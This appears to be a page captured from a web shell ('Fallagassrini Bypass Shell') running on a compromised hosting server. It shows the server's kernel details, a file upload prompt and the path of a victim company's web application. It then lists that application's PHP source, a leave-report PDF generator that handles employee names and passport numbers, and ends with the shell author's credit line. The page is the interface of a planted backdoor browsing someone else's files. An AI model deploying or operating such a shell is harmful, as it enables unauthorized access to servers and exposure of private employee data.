? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/horeitia/application/views/Reports/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/horeitia/application/views/Reports/pdf_report_leave.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


$html='<html><head><body>';
$html.='<table width="100%">
        <tr><td colspan="2"></td><td align="right"><img src="'.base_url().'assets/images/logo.gif" style="float:right"/></td>
        <tr><td colspan="3" style="font-size:16px;" align="center"><b><u>Leave Report</u></b></td></tr>
        <tr><td colspan="3">Printout Date : '.date('d-m-Y').', '.date('h:i:s a').'</td></tr>
        </table><br><br>';
$html.='<hr>';
$html.='<table cellspacing="-1" style="width:100%;text-align:left">
    <thead>
        <tr bgcolor="#7FCEFF"><th style="text-align:left" bgcolor="#7FCEFF">Sl No</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Date</th>
    <th style="text-align:left" bgcolor="#7FCEFF">Old Employee No</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Employee No</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Employee Name</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Passport No</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Trade</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Camp</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Leave Type</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Reason</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Leave Starting Date</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Leave Ending Date</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Remarks</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Leave Status</th>
    </tr></thead><tbody>';
$i=1;


foreach($report as $rep)
   {
    
  
    $atdate=$rep['leave_starting_date'];
    $empname=$rep['emp_non_full_name'];
    $empno=$this->mastermodel->correctempno($rep['emp_non_no']);

    $leave_starting_date= $this->mastermodel->convdatformat($rep['leave_starting_date']);
    $leave_ending_date= $this->mastermodel->convdatformat($rep['leave_ending_date']);
    $leave_type_name = $rep['leave_type_name'];
    $leave_reason = $rep['leave_reason'];
    $remarks = $rep['remarks'];
    $leave_status= $rep['leave_status'];
    
    $camp=$this->reportmodel->findemployeecamp($rep['employee_id'],$atdate);
    

    if(!empty ($camp))
    {

    $campname=$camp->camp_name;
    $campid=$camp->camp_id;
    }
    else
    {
      $campname="";
      $campid="";

    }
    $trade=$this->reportmodel->findemployeetrade($rep['employee_id'],$atdate);

    if(!empty ($trade))
    {
        $tradename=$trade->trade_name;
    }
    else
    {
        $tradename="";
    }

   
    $atdate= $this->mastermodel->convdatformat($atdate);
    if(!empty($postdata['camp_name']))
    {

      if($postdata['camp_name']==$campid)
      {
    $html.='<tr style="color:#555555"><td>'.$i.'</td>
        <td>'.$atdate.'</td>
        <td>'.$empno.'</td>
        <td>'.$empname.'</td>
        <td>'.$rep['emp_non_passport_no'].'</td>
        <td>'.$tradename.'</td>
        <td>'.$campname.'</td>
        <td>'.$leave_type_name.'</td>
        <td>'.$leave_reason.'</td>
        <td>'.$leave_starting_date.'</td>
        <td>'.$leave_ending_date.'</td>
        <td>'.$remarks.'</td>
        <td>'.$leave_status.'</td>
        </tr>';
            
  
     $i++;
      }

    }
    else
    {
      $html.='<tr style="color:#555555">
          <td>'.$i.'</td>
      <td>'.$atdate.'</td>
        <td>'.$empno.'</td>
        <td>'.$empname.'</td>
        <td>'.$rep['emp_non_passport_no'].'</td>
        <td>'.$tradename.'</td>
        <td>'.$campname.'</td>
        <td>'.$leave_type_name.'</td>
        <td>'.$leave_reason.'</td>
        <td>'.$leave_starting_date.'</td>
        <td>'.$leave_ending_date.'</td>
        <td>'.$remarks.'</td>
        <td>'.$leave_status.'</td>
      </tr>';


        $i++;
    }
    
   }

   $html.='</tbody></table>';
   $html.='<hr>';

   $html.='<script type="text/php">

              if ( isset($pdf) ) {
             $font = Font_Metrics::get_font("verdana", "normal");

             $pdf->page_text(75, 570, "Horeitia Global WLL   |  T. 44674442  |  F. 44673111  |  info@horeitiaglobal.com  |  www.horeitiaglobal.net  | Po Box 31450,  Doha, Qatar
                              Page  {PAGE_NUM} of {PAGE_COUNT}", $font, 10, array(0,0,0));

              }
              </script>';
   $html.='</body></html>';

   //echo $html;
pdf_create($html, 'Leave Report','true');
   
   ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net